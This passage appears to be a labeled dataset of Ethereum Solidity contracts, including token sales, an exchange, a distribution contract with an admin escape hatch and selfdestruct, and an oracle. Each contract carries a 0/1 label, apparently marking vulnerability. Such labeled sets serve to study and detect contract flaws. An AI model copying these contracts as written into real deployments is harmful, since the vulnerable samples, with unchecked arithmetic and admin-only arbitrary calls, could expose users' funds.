require(Token(traded_token).transfer(_to,_amount));
}
function transferETHToContract() private {
eth_balance = eth_balance.add(msg.value);
}
function transferETHFromContract(address _to, uint256 _amount) private {
eth_balance = eth_balance.sub(_amount);
_to.transfer(_amount);
}
function deposit_token(uint256 _amount) private {
transferTokensThroughProxyToContract(msg.sender, this, _amount);
}
function deposit_eth() private {
transferETHToContract();
}
function withdraw_token(uint256 _amount) public only_admin {
transferTokensFromContract(admin, _amount);
}
function withdraw_eth(uint256 _amount) public only_admin {
transferETHFromContract(admin, _amount);
}
function set_traded_token_as_seeded() private {
traded_token_is_seeded = true;
}
function set_eth_as_seeded() private {
eth_is_seeded = true;
}
function seed_traded_token() public only_admin {
require(!traded_token_is_seeded);
set_traded_token_as_seeded();
deposit_token(traded_token_seed_amount);
}
function seed_eth() public payable only_admin {
require(!eth_is_seeded);
require(msg.value == eth_seed_amount);
set_eth_as_seeded();
deposit_eth();
}
function seed_additional_token(uint256 _amount) public only_admin {
require(market_is_open());
deposit_token(_amount);
}
function seed_additional_eth() public payable only_admin {
require(market_is_open());
deposit_eth();
}
function market_is_open() private view returns(bool) {
return (eth_is_seeded && traded_token_is_seeded);
}
function deactivate_trading() public only_admin {
require(!trading_deactivated);
trading_deactivated = true;
}
function reactivate_trading() public only_admin {
require(trading_deactivated);
trading_deactivated = false;
}
function get_amount_sell(uint256 _amount) public view returns(uint256) {
uint256 traded_token_balance_plus_amount_ = traded_token_balance.add(_amount);
return (2*eth_balance*_amount)/(traded_token_balance + traded_token_balance_plus_amount_);
}
function get_amount_buy(uint256 _amount) public view returns(uint256) {
uint256 eth_balance_plus_amount_ = eth_balance + _amount;
return (_amount*traded_token_balance*(eth_balance_plus_amount_ + eth_balance))/(2*eth_balance_plus_amount_*eth_balance);
}
function get_amount_minus_commission(uint256 _amount) private view returns(uint256) {
return (_amount*(1 ether - commission_ratio))/(1 ether);
}
function complete_sell_exchange(uint256 _amount_give) private {
uint256 amount_get_ = get_amount_sell(_amount_give);
uint256 amount_get_minus_commission_ = get_amount_minus_commission(amount_get_);
uint256 admin_commission_ = amount_get_ - amount_get_minus_commission_;
transferTokensThroughProxyToContract(msg.sender,this,_amount_give);
transferETHFromContract(msg.sender,amount_get_minus_commission_);
transferETHFromContract(admin, admin_commission_);
}
function complete_buy_exchange() private {
uint256 amount_give_ = msg.value;
uint256 amount_get_ = get_amount_buy(amount_give_);
uint256 amount_get_minus_commission_ = get_amount_minus_commission(amount_get_);
uint256 admin_commission_ = amount_get_ - amount_get_minus_commission_;
transferETHToContract();
transferTokensFromContract(msg.sender, amount_get_minus_commission_);
transferTokensFromContract(admin, admin_commission_);
}
function sell_tokens(uint256 _amount_give) public trading_activated {
require(market_is_open());
complete_sell_exchange(_amount_give);
}
function buy_tokens() private trading_activated {
require(market_is_open());
complete_buy_exchange();
}
function() public payable {
buy_tokens();
}
} | 1 | 3,382 |
pragma solidity ^0.4.18;
interface ERC20 {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract Distribution {
using SafeMath for uint256;
enum State {
AwaitingTokens,
DistributingNormally,
DistributingProRata,
Done
}
address admin;
ERC20 tokenContract;
State state;
uint256 actualTotalTokens;
uint256 tokensTransferred;
bytes32[] contributionHashes;
uint256 expectedTotalTokens;
function Distribution(address _admin, ERC20 _tokenContract,
bytes32[] _contributionHashes, uint256 _expectedTotalTokens) public {
expectedTotalTokens = _expectedTotalTokens;
contributionHashes = _contributionHashes;
tokenContract = _tokenContract;
admin = _admin;
state = State.AwaitingTokens;
}
function handleTokensReceived() public {
require(state == State.AwaitingTokens);
uint256 totalTokens = tokenContract.balanceOf(this);
require(totalTokens > 0);
tokensTransferred = 0;
if (totalTokens == expectedTotalTokens) {
state = State.DistributingNormally;
} else {
actualTotalTokens = totalTokens;
state = State.DistributingProRata;
}
}
function _numTokensForContributor(uint256 contributorExpectedTokens, State _state)
internal view returns (uint256) {
if (_state == State.DistributingNormally) {
return contributorExpectedTokens;
} else if (_state == State.DistributingProRata) {
uint256 tokensRemaining = actualTotalTokens - tokensTransferred;
uint256 tokens = actualTotalTokens.mul(contributorExpectedTokens) / expectedTotalTokens;
if (tokens < tokensRemaining) {
return tokens;
} else {
return tokensRemaining;
}
} else {
revert();
}
}
function doDistribution(uint256 contributorIndex, address contributor,
uint256 contributorExpectedTokens)
public {
require(contributionHashes[contributorIndex] == keccak256(contributor, contributorExpectedTokens));
uint256 numTokens = _numTokensForContributor(contributorExpectedTokens, state);
contributionHashes[contributorIndex] = 0x00000000000000000000000000000000;
tokensTransferred += numTokens;
if (tokensTransferred == actualTotalTokens) {
state = State.Done;
}
require(tokenContract.transfer(contributor, numTokens));
}
function doDistributionRange(uint256 start, address[] contributors,
uint256[] contributorExpectedTokens) public {
require(contributors.length == contributorExpectedTokens.length);
uint256 tokensTransferredThisCall = 0;
uint256 end = start + contributors.length;
State _state = state;
for (uint256 i = start; i < end; ++i) {
address contributor = contributors[i];
uint256 expectedTokens = contributorExpectedTokens[i];
require(contributionHashes[i] == keccak256(contributor, expectedTokens));
contributionHashes[i] = 0x00000000000000000000000000000000;
uint256 numTokens = _numTokensForContributor(expectedTokens, _state);
tokensTransferredThisCall += numTokens;
require(tokenContract.transfer(contributor, numTokens));
}
tokensTransferred += tokensTransferredThisCall;
if (tokensTransferred == actualTotalTokens) {
state = State.Done;
}
}
function numTokensForContributor(uint256 contributorExpectedTokens)
public view returns (uint256) {
return _numTokensForContributor(contributorExpectedTokens, state);
}
function temporaryEscapeHatch(address to, uint256 value, bytes data) public {
require(msg.sender == admin);
require(to.call.value(value)(data));
}
function temporaryKill(address to) public {
require(msg.sender == admin);
require(tokenContract.balanceOf(this) == 0);
selfdestruct(to);
}
} | 1 | 2,370 |
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "msg.sender is not the owner");
_;
}
constructor() public {
owner = msg.sender;
}
function transferTo(address _to) external onlyOwner returns (bool) {
require(_to != address(0), "Can't transfer to address 0x0");
owner = _to;
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) external returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
emit NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32, "Currency too long");
assembly {
o := mload(add(currency, 32))
}
}
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() public view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) public returns (bool);
}
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
contract TokenConverterOracle is Oracle {
address public delegate;
address public ogToken;
mapping(bytes32 => Currency) public sources;
mapping(bytes32 => Cache) public cache;
event DelegatedCall(address _requester, address _to);
event CacheHit(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals);
event DeliveredRate(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals);
event SetSource(bytes32 _currency, address _converter, address _token, uint128 _sample, bool _cached);
event SetDelegate(address _prev, address _new);
event SetOgToken(address _prev, address _new);
struct Cache {
uint64 decimals;
uint64 blockNumber;
uint128 rate;
}
struct Currency {
bool cached;
uint8 decimals;
address converter;
address token;
}
function setDelegate(
address _delegate
) external onlyOwner {
emit SetDelegate(delegate, _delegate);
delegate = _delegate;
}
function setOgToken(
address _ogToken
) external onlyOwner {
emit SetOgToken(ogToken, _ogToken);
ogToken = _ogToken;
}
function setCurrency(
string code,
address converter,
address token,
uint8 decimals,
bool cached
) external onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(code);
if (!supported[currency]) {
emit NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
}
sources[currency] = Currency({
cached: cached,
converter: converter,
token: token,
decimals: decimals
});
emit SetSource(currency, converter, token, decimals, cached);
return true;
}
function url() public view returns (string) {
return "";
}
function getRate(
bytes32 _symbol,
bytes _data
) external returns (uint256 rate, uint256 decimals) {
if (delegate != address(0)) {
emit DelegatedCall(msg.sender, delegate);
return Oracle(delegate).getRate(_symbol, _data);
}
Currency memory currency = sources[_symbol];
if (currency.cached) {
Cache memory _cache = cache[_symbol];
if (_cache.blockNumber == block.number) {
emit CacheHit(msg.sender, _symbol, _cache.rate, _cache.decimals);
return (_cache.rate, _cache.decimals);
}
}
require(currency.converter != address(0), "Currency not supported");
decimals = currency.decimals;
rate = TokenConverter(currency.converter).getReturn(Token(ogToken), Token(currency.token), 10 ** decimals);
emit DeliveredRate(msg.sender, _symbol, rate, decimals);
if (currency.cached && rate < 340282366920938463463374607431768211456) {
cache[_symbol] = Cache({
decimals: currency.decimals,
blockNumber: uint64(block.number),
rate: uint128(rate)
});
}
}
} | 1 | 3,482 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender]);
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TTTToken is ERC20, Ownable {
using SafeMath for uint;
string public constant name = "The Tip Token";
string public constant symbol = "TTT";
uint8 public decimals = 18;
mapping(address=>uint256) balances;
mapping(address=>mapping(address=>uint256)) allowed;
uint256 public totalSupply_;
uint256 public presaleSupply;
uint256 public crowdsaleSupply;
uint256 public privatesaleSupply;
uint256 public airdropSupply;
uint256 public teamSupply;
uint256 public ecoSupply;
uint256 public firstVestStartsAt;
uint256 public secondVestStartsAt;
uint256 public firstVestAmount;
uint256 public secondVestAmount;
uint256 public currentVestedAmount;
uint256 public crowdsaleBurnAmount;
address public privatesaleAddress;
address public presaleAddress;
address public crowdsaleAddress;
address public teamSupplyAddress;
address public ecoSupplyAddress;
address public crowdsaleAirdropAddress;
address public crowdsaleBurnAddress;
address public tokenSaleAddress;
bool public privatesaleFinalized;
bool public presaleFinalized;
bool public crowdsaleFinalized;
event PrivatesaleFinalized(uint tokensRemaining);
event PresaleFinalized(uint tokensRemaining);
event CrowdsaleFinalized(uint tokensRemaining);
event Burn(address indexed burner, uint256 value);
event TokensaleAddressSet(address tSeller, address from);
modifier onlyTokenSale() {
require(msg.sender == tokenSaleAddress);
_;
}
modifier canItoSend() {
require(crowdsaleFinalized == true || (crowdsaleFinalized == false && msg.sender == ecoSupplyAddress));
_;
}
function TTTToken() {
totalSupply_ = 600000000 * 10**uint(decimals);
privatesaleSupply = 90000000 * 10**uint(decimals);
presaleSupply = 120000000 * 10**uint(decimals);
crowdsaleSupply = 180000000 * 10**uint(decimals);
ecoSupply = 90000000 * 10**uint(decimals);
teamSupply = 120000000 * 10**uint(decimals);
firstVestAmount = teamSupply.div(2);
secondVestAmount = firstVestAmount;
currentVestedAmount = 0;
privatesaleAddress = 0xE67EE1935bf160B48BA331074bb743630ee8aAea;
presaleAddress = 0x4A41D67748D16aEB12708E88270d342751223870;
crowdsaleAddress = 0x2eDf855e5A90DF003a5c1039bEcf4a721C9c3f9b;
teamSupplyAddress = 0xc4146EcE2645038fbccf79784a6DcbE3C6586c03;
ecoSupplyAddress = 0xdBA99B92a18930dA39d1e4B52177f84a0C27C8eE;
crowdsaleAirdropAddress = 0x6BCb947a8e8E895d1258C1b2fc84A5d22632E6Fa;
crowdsaleBurnAddress = 0xDF1CAf03FA89AfccdAbDd55bAF5C9C4b9b1ceBaB;
addToBalance(privatesaleAddress, privatesaleSupply);
addToBalance(presaleAddress, presaleSupply);
addToBalance(crowdsaleAddress, crowdsaleSupply);
addToBalance(teamSupplyAddress, teamSupply);
addToBalance(ecoSupplyAddress, ecoSupply);
firstVestStartsAt = 1543622400;
secondVestStartsAt = 1559347200;
}
function transfer(address _to, uint256 _amount) public canItoSend returns (bool success) {
require(balanceOf(msg.sender) >= _amount);
addToBalance(_to, _amount);
decrementBalance(msg.sender, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public canItoSend returns (bool success) {
require(allowance(_from, msg.sender) >= _amount);
decrementBalance(_from, _amount);
addToBalance(_to, _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
Transfer(_from, _to, _amount);
return true;
}
function transferFromTokenSell(address _to, address _from, uint256 _amount) external onlyTokenSale returns (bool success) {
require(_amount > 0);
require(_to != 0x0);
require(balanceOf(_from) >= _amount);
decrementBalance(_from, _amount);
addToBalance(_to, _amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowance(msg.sender, _spender) == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function totalSupply() public view returns (uint256 totalSupply) {
return totalSupply_;
}
function setTokenSaleAddress(address _tokenSaleAddress) external onlyOwner {
require(tokenSaleAddress == 0x0);
tokenSaleAddress = _tokenSaleAddress;
TokensaleAddressSet(tokenSaleAddress, msg.sender);
}
function finalizePrivatesale() external onlyTokenSale returns (bool success) {
require(privatesaleFinalized == false);
uint256 amount = balanceOf(privatesaleAddress);
if (amount != 0) {
addToBalance(presaleAddress, amount);
decrementBalance(privatesaleAddress, amount);
}
privatesaleFinalized = true;
PrivatesaleFinalized(amount);
return true;
}
function finalizePresale() external onlyTokenSale returns (bool success) {
require(presaleFinalized == false && privatesaleFinalized == true);
uint256 amount = balanceOf(presaleAddress);
if (amount != 0) {
addToBalance(crowdsaleAddress, amount);
decrementBalance(presaleAddress, amount);
}
presaleFinalized = true;
PresaleFinalized(amount);
return true;
}
function finalizeCrowdsale(uint256 _burnAmount, uint256 _ecoAmount, uint256 _airdropAmount) external onlyTokenSale returns(bool success) {
require(presaleFinalized == true && crowdsaleFinalized == false);
uint256 amount = balanceOf(crowdsaleAddress);
assert((_burnAmount.add(_ecoAmount).add(_airdropAmount)) == amount);
if (amount > 0) {
crowdsaleBurnAmount = _burnAmount;
addToBalance(ecoSupplyAddress, _ecoAmount);
addToBalance(crowdsaleBurnAddress, crowdsaleBurnAmount);
addToBalance(crowdsaleAirdropAddress, _airdropAmount);
decrementBalance(crowdsaleAddress, amount);
assert(balanceOf(crowdsaleAddress) == 0);
}
crowdsaleFinalized = true;
CrowdsaleFinalized(amount);
return true;
}
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
require(crowdsaleFinalized == true);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
function transferFromVest(uint256 _amount) public onlyOwner {
require(block.timestamp > firstVestStartsAt);
require(crowdsaleFinalized == true);
require(_amount > 0);
if(block.timestamp > secondVestStartsAt) {
require(_amount <= teamSupply);
require(_amount <= balanceOf(teamSupplyAddress));
} else {
require(_amount <= (firstVestAmount - currentVestedAmount));
require(_amount <= balanceOf(teamSupplyAddress));
}
currentVestedAmount = currentVestedAmount.add(_amount);
addToBalance(msg.sender, _amount);
decrementBalance(teamSupplyAddress, _amount);
Transfer(teamSupplyAddress, msg.sender, _amount);
}
function addToBalance(address _address, uint _amount) internal {
balances[_address] = balances[_address].add(_amount);
}
function decrementBalance(address _address, uint _amount) internal {
balances[_address] = balances[_address].sub(_amount);
}
}
contract TTTTokenSell is Whitelist, Pausable {
using SafeMath for uint;
uint public decimals = 18;
address public tokenAddress;
address public wallet;
address public privatesaleAddress;
address public presaleAddress;
address public crowdsaleAddress;
uint256 public weiRaised;
uint256 public startsAt;
uint256 public endsAt;
uint256 public ethMin;
uint256 public ethMax;
enum CurrentPhase { Privatesale, Presale, Crowdsale, None }
CurrentPhase public currentPhase;
uint public currentPhaseRate;
address public currentPhaseAddress;
TTTToken public token;
event AmountRaised(address beneficiary, uint amountRaised);
event TokenPurchased(address indexed purchaser, uint256 value, uint256 wieAmount);
event TokenPhaseStarted(CurrentPhase phase, uint256 startsAt, uint256 endsAt);
event TokenPhaseEnded(CurrentPhase phase);
modifier tokenPhaseIsActive() {
assert(now >= startsAt && now <= endsAt);
_;
}
function TTTTokenSell() {
wallet = 0xE6CB27F5fA75e0B75422c9B8A8da8697C9631cC6;
privatesaleAddress = 0xE67EE1935bf160B48BA331074bb743630ee8aAea;
presaleAddress = 0x4A41D67748D16aEB12708E88270d342751223870;
crowdsaleAddress = 0x2eDf855e5A90DF003a5c1039bEcf4a721C9c3f9b;
currentPhase = CurrentPhase.None;
currentPhaseAddress = privatesaleAddress;
startsAt = 0;
endsAt = 0;
ethMin = 0;
ethMax = numToWei(1000, decimals);
}
function setTokenAddress(address _tokenAddress) external onlyOwner {
require(tokenAddress == 0x0);
tokenAddress = _tokenAddress;
token = TTTToken(tokenAddress);
}
function startPhase(uint _phase, uint _currentPhaseRate, uint256 _startsAt, uint256 _endsAt) external onlyOwner {
require(_phase >= 0 && _phase <= 2);
require(_startsAt > endsAt && _endsAt > _startsAt);
require(_currentPhaseRate > 0);
currentPhase = CurrentPhase(_phase);
currentPhaseAddress = getPhaseAddress();
assert(currentPhaseAddress != 0x0);
currentPhaseRate = _currentPhaseRate;
if(currentPhase == CurrentPhase.Privatesale) ethMin = numToWei(10, decimals);
else {
ethMin = 0;
ethMax = numToWei(15, decimals);
}
startsAt = _startsAt;
endsAt = _endsAt;
TokenPhaseStarted(currentPhase, startsAt, endsAt);
}
function buyTokens(address _to) tokenPhaseIsActive whenNotPaused payable {
require(whitelist[_to]);
require(msg.value >= ethMin && msg.value <= ethMax);
require(_to != 0x0);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(currentPhaseRate);
if(currentPhase == CurrentPhase.Privatesale) tokens = tokens.add(tokens);
weiRaised = weiRaised.add(weiAmount);
wallet.transfer(weiAmount);
if(!token.transferFromTokenSell(_to, currentPhaseAddress, tokens)) revert();
TokenPurchased(_to, tokens, weiAmount);
}
function () payable {
buyTokens(msg.sender);
}
function finalizePhase() external onlyOwner {
if(currentPhase == CurrentPhase.Privatesale) token.finalizePrivatesale();
else if(currentPhase == CurrentPhase.Presale) token.finalizePresale();
endsAt = block.timestamp;
currentPhase = CurrentPhase.None;
TokenPhaseEnded(currentPhase);
}
function finalizeIto(uint256 _burnAmount, uint256 _ecoAmount, uint256 _airdropAmount) external onlyOwner {
token.finalizeCrowdsale(numToWei(_burnAmount, decimals), numToWei(_ecoAmount, decimals), numToWei(_airdropAmount, decimals));
endsAt = block.timestamp;
currentPhase = CurrentPhase.None;
TokenPhaseEnded(currentPhase);
}
function getPhaseAddress() internal view returns (address phase) {
if(currentPhase == CurrentPhase.Privatesale) return privatesaleAddress;
else if(currentPhase == CurrentPhase.Presale) return presaleAddress;
else if(currentPhase == CurrentPhase.Crowdsale) return crowdsaleAddress;
return 0x0;
}
function numToWei(uint256 _num, uint _decimals) internal pure returns (uint256 w) {
return _num.mul(10**_decimals);
}
} | 0 | 1,842 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MintableToken is StandardToken, Ownable, Pausable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public constant maxTokensToMint = 13600000 ether;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) {
return mintInternal(_to, _amount);
}
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) {
require(totalSupply.add(_amount) <= maxTokensToMint);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(this, _to, _amount);
return true;
}
}
contract Tomb is MintableToken {
string public constant name = "Token Care";
string public constant symbol = "CARE";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public rate = 5000;
address public approvedUser = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5;
address public wallet = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5;
uint64 public dateStart = 1511987870;
uint256 public constant maxTokenToBuy = 10000000 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
modifier canTransfer() {
require(transferEnabled);
_;
}
modifier onlyOwnerOrApproved() {
require(msg.sender == owner || msg.sender == approvedUser);
_;
}
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function setApprovedUser(address _user) onlyOwner returns (bool) {
require(_user != address(0));
approvedUser = _user;
return true;
}
function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused payable {
require(beneficiary != 0x0);
require(msg.value > 0);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
uint8 bonusDate = getBonusPercents();
uint8 bonusSum = getSumBonusPercents(tokens);
uint8 bonus = bonusDate + bonusSum;
if(bonus > 0){
tokens += tokens * bonus / 100;
}
require(totalSupply.add(tokens) <= maxTokenToBuy);
mintInternal(beneficiary, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
}
function getBonusPercents() internal returns(uint8){
uint8 percents = 0;
if(block.timestamp - dateStart < 7 days){
percents = 20;
}
if(block.timestamp - dateStart < 1 days){
percents = 30;
}
return percents;
}
function getSumBonusPercents(uint256 _tokens) internal returns(uint8){
uint8 percents = 0;
if(_tokens >= 1000000 ether){
percents = 30;
}
return percents;
}
} | 0 | 1,662 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
